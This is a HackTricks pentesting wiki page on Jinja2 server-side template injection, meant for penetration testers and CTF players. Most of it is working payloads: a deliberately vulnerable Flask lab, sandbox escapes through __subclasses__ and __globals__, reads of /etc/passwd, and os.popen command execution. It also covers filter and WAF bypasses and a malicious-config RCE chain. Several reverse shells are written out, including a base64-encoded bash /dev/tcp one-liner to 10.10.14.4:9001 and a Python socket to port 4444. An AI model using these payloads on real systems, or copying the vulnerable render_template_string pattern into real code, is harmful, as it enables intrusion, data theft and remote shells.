jinja2-ssti.md (16695B)
1 --- 2 title: "Jinja2 SSTI" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Jinja2 SSTI 14 15 ## **Lab** 16 17 ```python 18 from flask import Flask, request, render_template_string 19 20 app = Flask(__name__) 21 22 @app.route("/") 23 def home(): 24 if request.args.get('c'): 25 return render_template_string(request.args.get('c')) 26 else: 27 return "Hello, send something inside the param 'c'!" 28 29 if __name__ == "__main__": 30 app.run() 31 ``` 32 33 ## **Misc** 34 35 ### **Debug Statement** 36 37 If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger. 38 39 ```python 40 <pre> 41 42 {% raw %} 43 {% debug %} 44 {% endraw %} 45 46 47 </pre> 48 ``` 49 50 Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)<sup>[[1]](#references)[[6]](#references)</sup> 51 52 ### **Dump all config variables** 53 54 ```python 55 {{ config }} #In these object you can find all the configured env variables 56 57 58 {% raw %} 59 {% for key, value in config.items() %} 60 <dt>{{ key|e }}</dt> 61 <dd>{{ value|e }}</dd> 62 {% endfor %} 63 {% endraw %} 64 65 66 ``` 67 68 ## **Jinja Injection** 69 70 First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.<sup>[[2]](#references)[[3]](#references)</sup> 71 72 ### Accessing Global Objects 73 74 For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\ 75 Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are: 76 77 ```text 78 [] 79 '' 80 () 81 dict 82 config 83 request 84 ``` 85 86 ### Recovering \<class 'object'> 87 88 Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env. 89 90 In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**. 91 92 Check these examples: 93 94 ```python 95 # To access a class object 96 [].__class__ 97 ''.__class__ 98 ()["__class__"] # You can also access attributes like this 99 request["__class__"] 100 config.__class__ 101 dict #It's already a class 102 103 # From a class to access the class "object". 104 ## "dict" used as example from the previous list: 105 dict.__base__ 106 dict["__base__"] 107 dict.mro()[-1] 108 dict.__mro__[-1] 109 (dict|attr("__mro__"))[-1] 110 (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] 111 112 # From the "object" class call __subclasses__() 113 {{ dict.__base__.__subclasses__() }} 114 {{ dict.mro()[-1].__subclasses__() }} 115 {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} 116 117 {% raw %} 118 {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} 119 120 # Other examples using these ways 121 {{ ().__class__.__base__.__subclasses__() }} 122 {{ [].__class__.__mro__[-1].__subclasses__() }} 123 {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} 124 {{ request.__class__.mro()[-1].__subclasses__() }} 125 {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} 126 {% endraw %} 127 128 129 # Not sure if this will work, but I saw it somewhere 130 {{ [].class.base.subclasses() }} 131 {{ ''.class.mro()[1].subclasses() }} 132 ``` 133 134 ### RCE Escaping 135 136 **Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code. 137 138 The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`). 139 140 **Read/Write remote file** 141 142 ```python 143 # ''.__class__.__mro__[1].__subclasses__()[40] = File class 144 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} 145 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} 146 ``` 147 148 **RCE** 149 150 ```python 151 # The class 396 is the class <class 'subprocess.Popen'> 152 {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} 153 154 # Without '{{' and '}}' 155 156 <div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div> 157 158 # Calling os.popen without guessing the index of the class 159 {% raw %} 160 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} 161 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} 162 163 ## Passing the cmd line in a GET param 164 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} 165 {% endraw %} 166 167 168 ## Passing the cmd line ?cmd=id, Without " and ' 169 {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} 170 171 ``` 172 173 ### Payloads with `{% ... %}` 174 175 Sometimes `{{ ... }}` is blocked, sanitized or the injection lands inside a statement-friendly context. In those cases you can still abuse Jinja statement tags such as `{% with %}`, `{% if %}`, `{% for %}`, `{% set %}` and, in newer versions, `{% print %}` to execute code, leak data through the block body, or trigger blind side effects.<sup>[[1]](#references)</sup> 176 177 ```python 178 {% raw %} 179 # Simple statement-tag primitives 180 {% print(1) %} 181 {% if 7*7 == 49 %}OK{% endif %} 182 {% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %} 183 {% set x = 7*7 %}{{ x }} 184 {% for i in range(3) %}{{ i }}{% endfor %} 185 {% with a = ''.__class__ %}{{ a }}{% endwith %} 186 {% print(''.__class__.__mro__[1]) %} 187 {% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %} 188 189 # Flask-like contexts: use already reachable globals/functions 190 {% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %} 191 {% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %} 192 193 # Bare Jinja2 Template(...) contexts may not have `config` or `request`, 194 # but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace` 195 # are often still available. 196 {% print(lipsum) %} 197 {% print(cycler) %} 198 {% print(joiner) %} 199 {% print(namespace) %} 200 {% if 'os' in lipsum.__globals__ %}OS_OK{% endif %} 201 {% if cycler.__init__.__globals__ %}G_OK{% endif %} 202 203 # RCE using default Jinja globals 204 {% print(lipsum.__globals__['os'].popen('id').read()) %} 205 {% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %} 206 {% print(cycler.__init__.__globals__['os'].popen('id').read()) %} 207 {% print(joiner.__init__.__globals__['os'].popen('id').read()) %} 208 {% print(namespace.__init__.__globals__['os'].popen('id').read()) %} 209 210 # Blind / boolean primitive 211 {% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %} 212 YES 213 {% endif %} 214 {% endraw %} 215 ``` 216 217 If the target filters some chars but still allows statement tags, combine this idea with the [filter bypasses](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#filter-bypasses) and the [no-`{{` / no-`.` / no-`_` example](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars). Also remember that `{% print %}` is not mandatory: on targets where it is unavailable, `{% with %}`, `{% if %}`, `{% set %}` and `{% for %}` are usually enough to keep exploiting the template. 218 219 To learn about **more classes** that you can use to **escape** you can **check**: 220 221 222 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) 223 224 ### Filter bypasses 225 226 #### Common bypasses 227 228 These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\ 229 Some of these bypasses appeared in the preceding examples; the following list summarizes them:<sup>[[3]](#references)[[5]](#references)</sup> 230 231 ```bash 232 # Without quotes, _, [, ] 233 ## Basic ones 234 request.__class__ 235 request["__class__"] 236 request['\x5f\x5fclass\x5f\x5f'] 237 request|attr("__class__") 238 request|attr(["_"*2, "class", "_"*2]|join) # Join trick 239 240 ## Using request object options 241 request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also) 242 request|attr(request.args.c) #Send a param like "?c=__class__ 243 request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__ 244 request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string 245 http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params 246 247 ## Lists without "[" and "]" 248 http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ 249 250 # Using with 251 252 {% raw %} 253 {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} 254 {% endraw %} 255 256 257 ``` 258 259 - [**Return here for more options to access a global object**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#accessing-global-objects) 260 - [**Return here for more options to access the object class**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#recovering-less-than-class-object-greater-than) 261 - [**Read this to get RCE without the object class**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#jinja-injection-without-less-than-class-object-greater-than) 262 263 **Avoiding HTML encoding** 264 265 By default Flask HTML encode all the inside a template for security reasons:<sup>[[3]](#references)</sup> 266 267 ```python 268 {{'<script>alert(1);</script>'}} 269 #will be 270 <script>alert(1);</script> 271 ``` 272 273 **The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this: 274 275 ```python 276 {{'<script>alert(1);</script>'|safe}} 277 #will be 278 <script>alert(1);</script> 279 ``` 280 281 **RCE by writing an evil config file.** 282 283 ```python 284 # evil config 285 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 286 287 # load the evil config 288 {{ config.from_pyfile('/tmp/evilconfig.cfg') }} 289 290 # connect to evil host 291 {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} 292 ``` 293 294 ## Without several chars 295 296 Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**<sup>[[4]](#references)</sup> 297 298 ```python 299 {% raw %} 300 {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} 301 {% endraw %} 302 303 304 ``` 305 306 ## Jinja Injection without **\<class 'object'>** 307 308 From the [**global objects**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#accessing-global-objects) there is another way to get to **RCE without using that class.**\ 309 If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**. 310 311 You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with: 312 313 ```bash 314 {{ request.__class__.__dict__ }} 315 - application 316 - _load_form_data 317 - on_json_loading_failed 318 319 {{ config.__class__.__dict__ }} 320 - __init__ 321 - from_envvar 322 - from_pyfile 323 - from_object 324 - from_file 325 - from_json 326 - from_mapping 327 - get_namespace 328 - __repr__ 329 330 # You can iterate through children objects to find more 331 ``` 332 333 Once you have found some functions you can recover the builtins with: 334 335 ```python 336 # Read file 337 {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} 338 339 # RCE 340 {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} 341 {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} 342 {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} 343 344 {% raw %} 345 {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} 346 {% endraw %} 347 348 349 ## Extra 350 ## The global from config have a access to a function called import_string 351 ## with this function you don't need to access the builtins 352 {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} 353 354 # All the bypasses seen in the previous sections are also valid 355 ``` 356 357 ### Fuzzing WAF bypass 358 359 **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console. 360 361 English-Chinese Google translation 362 363 ```text 364 webui: 365 As the name suggests, web UI 366 Default port 11451 367 368 scan: scan the entire website 369 Extract all forms from the website based on the form element and attack them 370 After the scan is successful, a simulated terminal will be provided or the given command will be executed. 371 Example:python -m fenjing scan --url 'http://xxx/' 372 373 crack: Attack a specific form 374 You need to specify the form's url, action (GET or POST) and all fields (such as 'name') 375 After a successful attack, a simulated terminal will also be provided or a given command will be executed. 376 Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name 377 378 crack-path: attack a specific path 379 Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as 380 The parameters are roughly the same as crack, but you only need to provide the corresponding path 381 Example:python -m fenjing crack-path --url 'http://xxx/hello/' 382 383 crack-request: Read a request file for attack 384 Read the request in the file, PAYLOADreplace it with the actual payload and submit it 385 The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off. 386 ``` 387 388 ## References 389 390 - [1] [Jinja - Template Designer Documentation](https://jinja.palletsprojects.com/en/stable/templates/) 391 - [2] [PayloadsAllTheThings - Server Side Template Injection (Jinja2)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) 392 - [3] [Chivato - Jinja2 SSTI notes](https://hackmd.io/@Chivato/HyWsJ31dI) 393 - [4] [@SecGus tweet on Jinja2 SSTI without special characters](https://twitter.com/SecGus/status/1198976764351066113) 394 - [5] [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3) 395 - [6] [Jinja Template Designer Documentation - Debug Statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)